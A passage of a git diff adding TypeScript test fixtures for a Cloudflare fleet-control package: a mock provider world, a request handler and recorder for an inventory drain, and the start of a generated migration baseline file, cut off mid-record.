+  hostRoutingKvId: DRAIN_HOST_ROUTING_KV_ID,
+  databaseNamePrefix: 'fleet-',
+  scriptNamePrefix: 'fleet-',
+  includeDispatchNamespace: true,
+  includeR2Buckets: true,
+} as const;
+
+const ALPHA_POLICY = canonicalDeploymentEgressPolicy({
+  policyId: 'policy-alpha',
+  tenantTag: 'acme',
+  environment: 'production',
+  allowedHosts: ['api.example.com'],
+});
+
+const STALE_POLICY = canonicalDeploymentEgressPolicy({
+  policyId: 'policy-stale',
+  tenantTag: 'acme',
+  environment: 'production',
+  allowedHosts: [],
+});
+
+const SPEC_DIGEST = 'a'.repeat(64);
+const CREDENTIAL_DIGEST = 'b'.repeat(64);
+
+const R2_JURISDICTION_HEADER = 'cf-r2-jurisdiction';
+
+/**
+ * The only headers copied into a recorded request. The R2 jurisdiction travels
+ * as a header, so the three R2 page GETs would otherwise be byte-identical and
+ * their order unpinnable. `authorization` and every other credential-bearing
+ * header must never be added here.
+ */
+const RECORDED_HEADER_ALLOWLIST: readonly string[] = [R2_JURISDICTION_HEADER];
+
+/**
+ * Listing order of the host-routing KV namespace, followed by each stored
+ * value. Keys stay lowercase because the client lowercases every value read.
+ */
+const HOST_ROUTING_KV_ENTRIES: readonly (readonly [string, string])[] = [
+  [
+    '__anchorage_script__:fleet-alpha',
+    JSON.stringify({
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseId: 'db-alpha',
+      routeHostname: 'alpha.example.test',
+    }),
+  ],
+  [
+    '__anchorage_script__:fleet-broken',
+    JSON.stringify({
+      scriptName: 'fleet-broken',
+      tenantTag: 'beta',
+      environment: 'staging',
+      databaseId: 'db-broken',
+      routeHostname: 'broken.example.test',
+    }),
+  ],
+  [
+    '__anchorage_script__:fleet-wrong-key',
+    JSON.stringify({
+      scriptName: 'fleet-other-owner',
+      tenantTag: 'gamma',
+      environment: 'production',
+      databaseId: 'db-other-owner',
+      routeHostname: 'other-owner.example.test',
+    }),
+  ],
+  // Owner-checked registration whose live dispatch Worker binds another
+  // database, so the drain records the ownership mismatch at
+  // cloudflare-client.ts:1666-1679.
+  [
+    '__anchorage_script__:fleet-drifted',
+    JSON.stringify({
+      scriptName: 'fleet-drifted',
+      tenantTag: 'acme',
+      environment: 'production',
+      databaseId: 'db-drifted',
+      routeHostname: 'drifted.example.test',
+    }),
+  ],
+  ['__anchorage_script__:fleet-malformed', '{'],
+  [
+    '__anchorage_script__:fleet-incomplete',
+    JSON.stringify({
+      scriptName: 'fleet-incomplete',
+      tenantTag: 'delta',
+      environment: 'production',
+      routeHostname: 'incomplete.example.test',
+    }),
+  ],
+  [
+    'alpha.example.test',
+    JSON.stringify({
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      ...ALPHA_POLICY,
+      stateEgress: {
+        resourceGroupId: ALPHA_POLICY.policyId,
+        stateScriptName: 'fleet-state',
+        credentialDigest: CREDENTIAL_DIGEST,
+      },
+    }),
+  ],
+  [
+    'stale.example.test',
+    JSON.stringify({
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      ...STALE_POLICY,
+    }),
+  ],
+  [
+    'bad-policy.example.test',
+    JSON.stringify({
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      policyId: ALPHA_POLICY.policyId,
+      policyHosts: ALPHA_POLICY.policyHosts,
+      policyDigest: '0'.repeat(64),
+    }),
+  ],
+  // Consistent policy metadata with an unusable state-egress block, so
+  // parseHostRoutingTarget refuses it at cloudflare-client.ts:1560-1570.
+  [
+    'bad-state-egress.example.test',
+    JSON.stringify({
+      scriptName: 'fleet-alpha',
+      tenantTag: 'acme',
+      environment: 'production',
+      ...ALPHA_POLICY,
+      stateEgress: {
+        resourceGroupId: ALPHA_POLICY.policyId,
+        stateScriptName: 'fleet-state',
+        credentialDigest: 'not-a-sha256-digest',
+      },
+    }),
+  ],
+  ['malformed.example.test', '{'],
+];
+
+const DISPATCH_SCRIPT_LISTING: readonly Readonly<{
+  id: string;
+  tags: readonly string[];
+}>[] = [
+  {
+    id: 'fleet-alpha',
+    tags: ['fleet:anchorage', 'tenant:acme', 'environment:production'],
+  },
+  {
+    id: 'fleet-broken',
+    tags: ['fleet:anchorage', 'tenant:beta', 'environment:staging'],
+  },
+  // The listing tags agree with the registration, so only the live-settings
+  // ownership check can flag this script.
+  {
+    id: 'fleet-drifted',
+    tags: ['fleet:anchorage', 'tenant:acme', 'environment:production'],
+  },
+  {
+    id: 'fleet-orphan',
+    tags: ['fleet:anchorage', 'tenant:orphan', 'environment:production'],
+  },
+];
+
+const DISPATCH_SCRIPT_SETTINGS: Readonly<
+  Record<
+    string,
+    Readonly<{ bindings: readonly unknown[]; tags: readonly string[] }>
+  >
+> = {
+  'fleet-alpha': {
+    bindings: [
+      { type: 'd1', name: 'DB', database_id: 'db-alpha' },
+      {
+        type: 'durable_object_namespace',
+        name: 'MAINTENANCE',
+        class_name: 'Maintenance',
+        namespace_id: 'ns-alpha',
+      },
+      { type: 'service', name: 'EGRESS', service: 'fleet-egress' },
+      { type: 'queue', name: 'AUDIT', queue_name: 'fleet-audit' },
+      { type: 'r2_bucket', name: 'EXPORTS', bucket_name: 'fleet-exports' },
+      { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' },
+      { type: 'secret_text', name: 'MAINTENANCE_ADMIN' },
+    ],
+    tags: [
+      'fleet:anchorage',
+      'tenant:acme',
+      'environment:production',
+      'schema:2',
+      `spec:${SPEC_DIGEST}`,
+      'do:v3',
+    ],
+  },
+  // No `spec:` tag, so inspectDispatchWorker refuses this registration and the
+  // drain records the String(error) detail at cloudflare-client.ts:1627-1630.
+  'fleet-broken': {
+    bindings: [{ type: 'd1', name: 'DB', database_id: 'db-broken' }],
+    tags: ['fleet:anchorage', 'tenant:beta', 'environment:staging', 'schema:2'],
+  },
+  // Complete metadata that binds a database the registration does not claim.
+  'fleet-drifted': {
+    bindings: [{ type: 'd1', name: 'DB', database_id: 'db-drifted-live' }],
+    tags: [
+      'fleet:anchorage',
+      'tenant:acme',
+      'environment:production',
+      'schema:2',
+      `spec:${SPEC_DIGEST}`,
+    ],
+  },
+};
+
+const R2_BUCKETS: Readonly<
+  Record<string, readonly Readonly<{ name: string; creation_date: string }>[]>
+> = {
+  default: [
+    { name: 'fleet-alpha-exports', creation_date: '2026-08-01T00:00:00.000Z' },
+    { name: 'other-exports', creation_date: '2026-08-02T00:00:00.000Z' },
+  ],
+  eu: [{ name: 'fleet-eu-state', creation_date: '2026-08-03T00:00:00.000Z' }],
+  fedramp: [],
+};
+
+function providerNotFound(): Response {
+  return Response.json(
+    {
+      success: false,
+      errors: [{ code: 10090, message: 'missing' }],
+      messages: [],
+      result: null,
+    },
+    { status: 404 },
+  );
+}
+
+/**
+ * The rich world every drain baseline run starts from. A fresh instance per
+ * run keeps the recorder and the equivalence test byte-identical.
+ */
+export function fleetInventoryDrainWorld(): ProviderWorld {
+  const world = providerWorld();
+  world.zones.push({ id: 'zone-a' }, { id: 'zone-b' });
+  world.routes.push(
+    {
+      zoneId: 'zone-a',
+      id: 'route-state',
+      pattern: 'state.example.test/*',
+      script: 'fleet-state',
+    },
+    {
+      zoneId: 'zone-b',
+      id: 'route-plain',
+      pattern: 'plain.example.test/*',
+      script: 'fleet-plain',
+    },
+    {
+      zoneId: 'zone-b',
+      id: 'route-other',
+      pattern: 'other.example.test/*',
+      script: 'other-worker',
+    },
+  );
+  world.customDomains.push(
+    {
+      id: 'domain-plain',
+      hostname: 'plain.example.test',
+      service: 'fleet-plain',
+    },
+    {
+      id: 'domain-ghost',
+      hostname: 'ghost.example.test',
+      service: 'fleet-ghost',
+    },
+    {
+      id: 'domain-other',
+      hostname: 'other.example.test',
+      service: 'other-worker',
+    },
+  );
+  world.durableObjectNamespaces.push(
+    { id: 'ns-alpha', script: 'fleet-alpha', className: 'Maintenance' },
+    { id: 'ns-state', script: 'fleet-state', className: 'State' },
+    { id: 'ns-other', script: 'other-worker', className: 'Other' },
+  );
+  world.seedDatabase('fleet-alpha', { databaseId: 'db-alpha' });
+  world.seedDatabase('fleet-plain', { databaseId: 'db-plain' });
+  world.seedDatabase('other-db', { databaseId: 'db-other' });
+  world.seedScript('fleet-state', {
+    versions: [
+      {
+        versionId: 'version-fleet-state',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [
+          { type: 'd1', name: 'STATE_DB', database_id: 'db-plain' },
+          {
+            type: 'durable_object_namespace',
+            name: 'STATE',
+            class_name: 'State',
+            namespace_id: 'ns-state',
+          },
+          { type: 'service', name: 'EGRESS', service: 'fleet-egress' },
+          { type: 'queue', name: 'AUDIT', queue_name: 'fleet-audit' },
+          { type: 'kv_namespace', name: 'HOSTS', namespace_id: 'hosts' },
+          {
+            type: 'r2_bucket',
+            name: 'EXPORTS',
+            bucket_name: 'fleet-alpha-exports',
+          },
+          { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' },
+          { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'production' },
+          { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '2' },
+          {
+            type: 'plain_text',
+            name: 'FLEET_RESOURCE_ROLE',
+            text: 'platform-state',
+          },
+          {
+            type: 'plain_text',
+            name: 'FLEET_RESOURCE_GROUP',
+            text: 'policy-alpha',
+          },
+          { type: 'plain_text', name: 'FLEET_SPEC_DIGEST', text: SPEC_DIGEST },
+          // No `text` at all: no fixture in this world carries a secret value,
+          // even one the provider projection would strip before recording.
+          { type: 'secret_text', name: 'STATE_CREDENTIAL' },
+        ],
+      },
+    ],
+    deployment: [{ versionId: 'version-fleet-state', percentage: 100 }],
+    subdomain: { enabled: false, previewsEnabled: false },
+  });
+  world.seedScript('fleet-plain', {
+    versions: [
+      {
+        versionId: 'version-fleet-plain',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [
+          { type: 'd1', name: 'DB', database_id: 'db-plain' },
+          { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'plain' },
+          { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'staging' },
+          { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '4' },
+        ],
+      },
+    ],
+    deployment: [{ versionId: 'version-fleet-plain', percentage: 100 }],
+    subdomain: { enabled: false, previewsEnabled: false },
+  });
+  // A trusted Worker reachable on workers.dev with no zone route, so the drain
+  // records the public-access arm of incomplete-deployment at
+  // cloudflare-client.ts:1931-1934.
+  world.seedScript('fleet-egress', {
+    versions: [
+      {
+        versionId: 'version-fleet-egress',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [
+          { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' },
+          { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'production' },
+          { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '2' },
+          {
+            type: 'plain_text',
+            name: 'FLEET_RESOURCE_ROLE',
+            text: 'deployment-egress',
+          },
+          {
+            type: 'plain_text',
+            name: 'FLEET_RESOURCE_GROUP',
+            text: 'policy-alpha',
+          },
+        ],
+      },
+    ],
+    deployment: [{ versionId: 'version-fleet-egress', percentage: 100 }],
+    subdomain: { enabled: true, previewsEnabled: false },
+  });
+  // No FLEET_SCHEMA_VERSION, so the per-script inventory throws and the drain
+  // records the String(error) detail at cloudflare-client.ts:1974-1978.
+  world.seedScript('fleet-unreadable', {
+    versions: [
+      {
+        versionId: 'version-fleet-unreadable',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [
+          { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'epsilon' },
+          { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'production' },
+        ],
+      },
+    ],
+    deployment: [{ versionId: 'version-fleet-unreadable', percentage: 100 }],
+    subdomain: { enabled: false, previewsEnabled: false },
+  });
+  world.seedScript('other-worker', {
+    versions: [
+      {
+        versionId: 'version-other-worker',
+        tag: undefined,
+        mainModule: 'worker.js',
+        modules: [],
+        bindings: [],
+      },
+    ],
+    deployment: [{ versionId: 'version-other-worker', percentage: 100 }],
+    subdomain: { enabled: true, previewsEnabled: true },
+  });
+  return world;
+}
+
+/**
+ * Serves the endpoints `restProjection` does not model — the host-routing KV
+ * namespace, the dispatch namespace and its scripts (whose fleet tags the
+ * shared projection does not carry), and R2 bucket listing — and delegates
+ * everything else to the shared projection.
+ */
+export function fleetInventoryDrainHandler(
+  world: ProviderWorld,
+): CloudflareFixtureHandler {
+  const rest = restProjection(world);
+  const accountPrefix = `/client/v4/accounts/${DRAIN_ACCOUNT_ID}`;
+  const kvPath = `/storage/kv/namespaces/${DRAIN_HOST_ROUTING_KV_ID}`;
+  const namespacePath = `/workers/dispatch/namespaces/${DRAIN_DISPATCH_NAMESPACE}`;
+  const scriptsPath = `${namespacePath}/scripts`;
+  return async (request) => {
+    const target = new URL(request.url);
+    const path = decodeURIComponent(target.pathname);
+    if (!path.startsWith(`${accountPrefix}/`)) return rest(request);
+    const route = path.slice(accountPrefix.length);
+    if (route === `${kvPath}/keys`) {
+      return pageArray(HOST_ROUTING_KV_ENTRIES.map(([name]) => ({ name })));
+    }
+    if (route.startsWith(`${kvPath}/values/`)) {
+      const key = route.slice(`${kvPath}/values/`.length);
+      const entry = HOST_ROUTING_KV_ENTRIES.find(([name]) => name === key);
+      return entry === undefined ? providerNotFound() : new Response(entry[1]);
+    }
+    if (route === namespacePath) {
+      return single({
+        namespace_name: DRAIN_DISPATCH_NAMESPACE,
+        namespace_id: 'dispatch-namespace-id',
+        // trusted_workers=true fails the namespace attestation, and a
+        // script_count above the paginated listing reports missing scripts, so
+        // both branches of the attestation block stay observable.
+        script_count: DISPATCH_SCRIPT_LISTING.length + 1,
+        trusted_workers: true,
+      });
+    }
+    if (route === scriptsPath) {
+      return pageArray(
+        DISPATCH_SCRIPT_LISTING.map(({ id, tags }) => ({ id, tags })),
+      );
+    }
+    if (route.startsWith(`${scriptsPath}/`)) {
+      const remainder = route.slice(`${scriptsPath}/`.length);
+      const settingsRead = remainder.endsWith('/settings');
+      const scriptName = settingsRead
+        ? remainder.slice(0, -'/settings'.length)
+        : remainder;
+      const settings = DISPATCH_SCRIPT_SETTINGS[scriptName];
+      if (!settings) return providerNotFound();
+      return settingsRead
+        ? single(settings)
+        : single({ script: { etag: `etag-${scriptName}` } });
+    }
+    if (route === '/r2/buckets' && request.method === 'GET') {
+      const jurisdiction =
+        request.headers.get(R2_JURISDICTION_HEADER) ?? 'default';
+      return single({ buckets: R2_BUCKETS[jurisdiction] ?? [] });
+    }
+    return rest(request);
+  };
+}
+
+/**
+ * A recorded provider request. `headers` carries ONLY
+ * `RECORDED_HEADER_ALLOWLIST`; no credential-bearing header is ever recorded,
+ * because the baseline is committed to the repository.
+ */
+export interface DrainRequestRecord extends CloudflareFetchRecord {
+  readonly headers?: Readonly<Record<string, string>>;
+}
+
+function allowlistedHeaders(
+  input: Parameters<typeof fetch>[0],
+  init: Parameters<typeof fetch>[1],
+): Readonly<Record<string, string>> {
+  const headers = new Headers(
+    init?.headers ?? (input instanceof Request ? input.headers : undefined),
+  );
+  return Object.fromEntries(
+    RECORDED_HEADER_ALLOWLIST.flatMap((name) => {
+      const value = headers.get(name);
+      return value === null ? [] : [[name, value] as const];
+    }),
+  );
+}
+
+/** Runs the current drain against a fresh world through the recording fetch. */
+export async function runFleetInventoryDrain(): Promise<{
+  readonly requests: readonly DrainRequestRecord[];
+  readonly inventory: FleetResourceInventory;
+}> {
+  const world = fleetInventoryDrainWorld();
+  const fixture = recordingFetch(fleetInventoryDrainHandler(world));
+  const recordedHeaders: Readonly<Record<string, string>>[] = [];
+  const client = new CloudflareProvisioningClient({
+    accountId: DRAIN_ACCOUNT_ID,
+    apiToken: 'token',
+    rateCoordinator: testRateCoordinator(),
+    dispatchNamespace: DRAIN_DISPATCH_NAMESPACE,
+    fetch: (input, init) => {
+      // The recording fixture keeps `data:` FormData probes out of `requests`,
+      // so skipping them here keeps both sequences index-aligned.
+      const url = new URL(
+        typeof input === 'string'
+          ? input
+          : input instanceof URL
+            ? input.href
+            : input.url,
+      );
+      if (url.protocol !== 'data:') {
+        recordedHeaders.push(allowlistedHeaders(input, init));
+      }
+      return fixture.fetch(input, init);
+    },
+  });
+  const inventory = await client.collectFleetInventory(DRAIN_INVENTORY_OPTIONS);
+  const requests = fixture.requests.map((request, index) => {
+    const headers = recordedHeaders[index] ?? {};
+    return {
+      ...request,
+      ...(Object.keys(headers).length > 0 ? { headers } : {}),
+    };
+  });
+  return { requests, inventory };
+}
diff --git a/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts
new file mode 100644
index 00000000..2e34875a
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts
@@ -0,0 +1,482 @@
+// SPDX-License-Identifier: Apache-2.0
+
+/**
+ * GENERATED FILE. DO NOT EDIT BY HAND.
+ */
+
+import type { FleetRecord } from '../../src/types.js';
+import type { MigrationOpLogEntry } from './fleet-migration-worlds.js';
+
+/**
+ * An absent `durableObjectTag` key differs from a present key whose value
+ * is `undefined`.
+ */
+export const MIGRATION_SUCCESS_BASELINE_RESULT = [
+  {
+    tenantTag: 'extfull',
+    backend: 'workers-for-platforms',
+    environment: 'production',
+    scriptName: 'worker-extfull',
+    databaseId: 'db-extfull',
+    databaseName: 'database-extfull',
+    schemaVersion: 1,
+    artifactVersion:
+      'etag:worker-extfull-d52caa3d429aa0ace5a74c7ee292cf130b26073edb205d49',
+    desiredSpecDigest:
+      'd52caa3d429aa0ace5a74c7ee292cf130b26073edb205d491d9ccac284437743',
+    durableObjectBindings: [],
+    routeHostname: 'worker-extfull.example.test',
+    phase: 'ready',
+    updatedAt: '2026-06-01T00:00:00.000Z',
+    activeRelease: {
+      physicalScriptName:
+        'worker-extfull-d52caa3d429aa0ace5a74c7ee292cf130b26073edb205d49',
+      specDigest:
+        'd52caa3d429aa0ace5a74c7ee292cf130b26073edb205d491d9ccac284437743',
+      artifactVersion:
+        'etag:worker-extfull-d52caa3d429aa0ace5a74c7ee292cf130b26073edb205d49',
+      releaseSchemaVersion: 1,
+      application: { vars: [], secrets: [], r2Buckets: [] },
+      topology: {
+        durableObjectBindings: [],
+        serviceBindings: [],
+        queueProducerBindings: [],
+        secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+        application: { vars: [], secrets: [], r2Buckets: [] },
+      },
+    },
+    rollbackRelease: {
+      physicalScriptName:
+        'worker-extfull-4fd765a654b3aa105049637349a4a410505828acacb0c290',
+      specDigest:
+        '4fd765a654b3aa105049637349a4a410505828acacb0c2909968c85abe72ec4a',
+      artifactVersion:
+        'etag:worker-extfull-4fd765a654b3aa105049637349a4a410505828acacb0c290',
+      releaseSchemaVersion: 1,
+      application: { vars: [], secrets: [], r2Buckets: [] },
+    },
+    platformTarget: {
+      maintenanceCapabilityPublicKey:
+        '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+      stateArtifactDigest:
+        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+      stateDurableObjectHistoryDigest:
+        'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc',
+      egressArtifactDigest:
+        'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+      d1SchemaVersion: 1,
+      d1SchemaHistoryDigest:
+        'd52caa3d429aa0ace5a74c7ee292cf130b26073edb205d491d9ccac284437743',
+      outboundPolicy: {
+        policyId: '3f9fb725d669c5442027',
+        policyHosts: ['api.example.test'],
+        policyDigest:
+          'cade8643815e4925c439a055aab56460f3cb24ff8a742365d25db2573c9d6f58',
+      },
+    },
+    outboundPolicy: {
+      policyId: '3f9fb725d669c5442027',
+      policyHosts: ['api.example.test'],
+      policyDigest:
+        'cade8643815e4925c439a055aab56460f3cb24ff8a742365d25db2573c9d6f58',
+    },
+    platformResources: {
+      maintenanceCapabilityPublicKey:
+        '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+      stateWorker: {
+        scriptName: 'worker-extfull-state-3f9fb725d669c5442027',
+        artifactVersion: 'state-v1',
+        artifactDigest:
+          'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: 'worker-extfull-egress-3f9fb725d669c5442027',
+        artifactVersion: 'egress-v1',
+        artifactDigest:
+          'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+        policyId: '3f9fb725d669c5442027',
+        policyHosts: ['api.example.test'],
+        policyDigest:
+          'cade8643815e4925c439a055aab56460f3cb24ff8a742365d25db2573c9d6f58',
+      },
+    },
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    applicationResources: [],
+    invocationAuthority: {
+      version: 1,
+      authorizedAt: '2026-06-01T00:00:00.000Z',
+    },
+    durableObjectTag: undefined,
+    settledSettlementKey:
+      '0b32b3081b897947a1db852b033a86fad2e38700dc2824e91cc292904e642b6c',
+  },
+  {
+    tenantTag: 'plainmulti',
+    backend: 'plain-worker',
+    environment: 'production',
+    scriptName: 'worker-plainmulti',
+    databaseId: 'db-plainmulti',
+    databaseName: 'database-plainmulti',
+    schemaVersion: 3,
+    artifactVersion: 'v3',
+    desiredSpecDigest:
+      'a14a55db26a2a30823bf42d881a3208c6a7f5320b86a15cd5b97dec8116b69ad',
+    durableObjectBindings: [],
+    routeHostname: 'worker-plainmulti.example.test',
+    phase: 'ready',
+    updatedAt: '2026-06-01T00:00:00.000Z',
+    invocationAuthority: {
+      version: 1,
+      authorizedAt: '2026-06-01T00:00:00.000Z',
+    },
+    durableObjectTag: undefined,
+    durableObjectMigrationHistory: [],
+    durableObjectMigrationHistoryDigest:
+      '4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945',
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    settledSettlementKey:
+      '2c4bf4db5f076b148e247b473983a304137a0ff1a1a5e717ecc9b148f10e7d11',
+  },
+  {
+    tenantTag: 'platformonly',
+    backend: 'workers-for-platforms',
+    environment: 'production',
+    scriptName: 'worker-platformonly',
+    databaseId: 'db-platformonly',
+    databaseName: 'database-platformonly',
+    schemaVersion: 2,
+    artifactVersion:
+      'etag:worker-platfor-d4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754',
+    desiredSpecDigest:
+      'd4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754b65a0839530cc9e7',
+    durableObjectBindings: [],
+    routeHostname: 'worker-platformonly.example.test',
+    phase: 'ready',
+    updatedAt: '2026-06-01T00:00:00.000Z',
+    activeRelease: {
+      physicalScriptName:
+        'worker-platfor-d4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754',
+      specDigest:
+        'd4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754b65a0839530cc9e7',
+      artifactVersion:
+        'etag:worker-platfor-d4e2b8009b6fe3b0d1db07781d51d8acd2032c0a4cf3f754',
+      releaseSchemaVersion: 1,
+      application: { vars: [], secrets: [], r2Buckets: [] },
+    },
+    platformTarget: {
+      maintenanceCapabilityPublicKey:
+        '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+      stateArtifactDigest:
+        'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',
+      stateDurableObjectHistoryDigest:
+        'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc',
+      egressArtifactDigest:
+        'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+      d1SchemaVersion: 2,
+      d1SchemaHistoryDigest:
+        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff',
+      outboundPolicy: {
+        policyId: '48d210fc661a8eabf890',
+        policyHosts: ['narrow.example.test'],
+        policyDigest:
+          '378801bb2f0900c3180f762ae01e58af4ad69f724cf72300f492c2cb17989788',
+      },
+    },
+    outboundPolicy: {
+      policyId: '48d210fc661a8eabf890',
+      policyHosts: ['narrow.example.test'],
+      policyDigest:
+        '378801bb2f0900c3180f762ae01e58af4ad69f724cf72300f492c2cb17989788',
+    },
+    platformResources: {
+      maintenanceCapabilityPublicKey:
+        '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+      stateWorker: {
+        scriptName: 'worker-platformonly-state-48d210fc661a8eabf890',
+        artifactVersion: 'state-v1',
+        artifactDigest:
+          'dddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd',
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: 'worker-platformonly-egress-48d210fc661a8eabf890',
+        artifactVersion: 'egress-v1',
+        artifactDigest:
+          'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+        policyId: '48d210fc661a8eabf890',
+        policyHosts: ['narrow.example.test'],
+        policyDigest:
+          '378801bb2f0900c3180f762ae01e58af4ad69f724cf72300f492c2cb17989788',
+      },
+    },
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    applicationResources: [],
+    invocationAuthority: {
+      version: 1,
+      authorizedAt: '2026-06-01T00:00:00.000Z',
+    },
+    settledSettlementKey:
+      'be9c10cc1282c29405ae83ce4aea196b0d2aeea40968af5815a0d5cdafa9f066',
+  },
+  {
+    tenantTag: 'readysteady',
+    backend: 'workers-for-platforms',
+    environment: 'production',
+    scriptName: 'worker-readysteady',
+    databaseId: 'db-readysteady',
+    databaseName: 'database-readysteady',
+    schemaVersion: 1,
+    artifactVersion:
+      'etag:worker-readyst-37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0',
+    desiredSpecDigest:
+      '37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0152367854b05e8bb',
+    durableObjectBindings: [],
+    routeHostname: 'worker-readysteady.example.test',
+    phase: 'ready',
+    updatedAt: '2026-06-01T00:00:00.000Z',
+    activeRelease: {
+      physicalScriptName:
+        'worker-readyst-37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0',
+      specDigest:
+        '37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0152367854b05e8bb',
+      artifactVersion:
+        'etag:worker-readyst-37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0',
+      releaseSchemaVersion: 1,
+      application: { vars: [], secrets: [], r2Buckets: [] },
+    },
+    rollbackRelease: {
+      physicalScriptName:
+        'worker-readyst-1c9ff30e744df5fd3e600c49fdfcd2eaa4940b35432bb456',
+      specDigest:
+        '1c9ff30e744df5fd3e600c49fdfcd2eaa4940b35432bb456df79439af56cca1d',
+      artifactVersion:
+        'etag:worker-readyst-1c9ff30e744df5fd3e600c49fdfcd2eaa4940b35432bb456',
+      releaseSchemaVersion: 1,
+      application: { vars: [], secrets: [], r2Buckets: [] },
+    },
+    platformTarget: {
+      maintenanceCapabilityPublicKey:
+        '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+      stateArtifactDigest:
+        'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+      stateDurableObjectHistoryDigest:
+        'cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc',
+      egressArtifactDigest:
+        'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+      d1SchemaVersion: 1,
+      d1SchemaHistoryDigest:
+        '37dfa9ca61e263d1efa4845ea58e1474d4a3f86c7b3e4fe0152367854b05e8bb',
+      outboundPolicy: {
+        policyId: 'ab62bd5bf4ae76f23a5b',
+        policyHosts: ['api.example.test'],
+        policyDigest:
+          '008311f7e91a3a3de1d9684b4404deb1b8e2b3a3e3d7bdff33f010eaf677163a',
+      },
+    },
+    outboundPolicy: {
+      policyId: 'ab62bd5bf4ae76f23a5b',
+      policyHosts: ['api.example.test'],
+      policyDigest:
+        '008311f7e91a3a3de1d9684b4404deb1b8e2b3a3e3d7bdff33f010eaf677163a',
+    },
+    platformResources: {
+      maintenanceCapabilityPublicKey:
+        '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}',
+      stateWorker: {
+        scriptName: 'worker-readysteady-state-ab62bd5bf4ae76f23a5b',
+        artifactVersion: 'state-v1',
+        artifactDigest:
